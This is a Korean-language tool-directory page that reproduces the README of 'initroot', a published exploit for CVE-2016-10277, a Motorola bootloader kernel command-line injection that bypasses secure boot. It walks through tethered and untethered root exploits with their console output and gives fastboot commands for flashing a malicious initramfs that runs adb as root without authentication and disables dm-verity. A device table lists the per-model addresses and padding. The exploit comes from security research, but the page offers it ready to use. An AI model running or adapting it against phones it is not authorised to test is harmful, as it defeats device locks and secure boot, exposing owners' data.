Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
initroot — 모토로라 언테더드 탈옥: CVE-2016-10277을 악용한 보안 부팅 및 장치 잠금 우회 | Kitploit
도구/GitHubGitHub/alephsecurity/initroot
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHubalephsecurity/initroot

initroot

모토로라 언테더드 탈옥: CVE-2016-10277을 악용한 보안 부팅 및 장치 잠금 우회

저장소 보기
84248년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

initroot: Motorola 부트로더 커널 명령줄 주입 보안 부팅 및 장치 잠금 우회 (CVE-2016-10277)

By Roee Hay / Aleph Research, HCL Technologies

1단계 익스플로잇: 테더링된 탈옥

이 익스플로잇은 장치에서 일시적인 제한 없는 루트 액세스를 획득합니다. 예를 들어, cedric에서 (일부 메시지는 가독성을 위해 제거됨):

root@kitploit:~
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

2단계 익스플로잇: 언테더링된 탈옥

이 익스플로잇은 장치에서 지속적인 루트 액세스를 획득합니다. 예를 들어, athene에서 (일부 메시지는 가독성을 위해 제거됨):

root@kitploit:~
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

자신만의 악성 initramfs 아카이브 생성

  1. 커밋된 initroot-<device>.cpio.gz를 사용하거나 직접 생성하세요:
root@kitploit:~
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. 우리가 커밋한 initramfs 이미지는 기본적으로 adb가 root로 실행됩니다. 인증을 요청하지 않습니다. 또한 관련 파티션에서 dm-verity가 비활성화됩니다.
root@kitploit:~
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. 우리의 initramfs를 사용하는 경우, adb shell은 이제 root 셸을 제공합니다:
root@kitploit:~
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

다른 Moto 장치를 위한 언테더링된 익스플로잇 생성

블로그 포스트를 읽어보세요.

확인된 장치

커뮤니티 보고

참고

이 취약점은 다른 Motorola 장치에도 영향을 미칠 수 있습니다: 다른 initramfs가 필요할 수 있습니다. initrd(SCRATCH_ADDR)의 다른 물리적 주소가 필요할 수 있습니다. PADDING도 달라질 수 있습니다.

비디오 데모

CVE-2016-10277 비디오 데모

출판물

  1. initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection
  2. initroot: Hello Moto
  3. Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass
  4. Untethered initroot (USENIX WOOT '17)
  5. USENIX WOOT '17 paper
도구 다운로드
장치코드명SCRATCH_ADDRPADDING커밋된 initramfs사용되지 않는 파티션
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000릴리스, SELinux 비활성화, shell로 set{u,g}id, capabilities 드롭 및 adb 인증 등을 위해 패치된 init 및 adbdmmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48
장치코드명SCRATCH_ADDR보고자설명
Moto G5 Pluspotter0xA0100000drbeat부팅 속성 주입. [증명]
Moto G4 Play (XT1607)harpia0x90000000m-mullinsAmazon XT1607 전체 익스플로잇. [증명]
Moto G4 Play (XT1609)harpia0x90000000@utoprimeVerizon XT1609 전체 익스플로잇. [증명]
Moto G4 (XT1625)athene0x90000000@EWorcel부트 루프를 유발하는 initrd 주입. [증명]
Moto G3osprey0x90000000@asiekierka부트 루프를 유발하는 initrd 주입. [증명]
Moto G2 (XT1072)thea0x11000000@TheElix부트 루프를 유발하는 initrd 주입. [증명]
Moto G (XT1032)falcon_retfr0x11000000Pierre Zurek64MB 패딩을 사용한 전체 익스플로잇 [증명]
Moto E (XT830C)condor_cdma0x0E000000fetcher32MB 패딩을 사용한 Tracfone/Verizon에 잠긴 XT830C 전체 익스플로잇 [증명]
기타--@jcase[증명]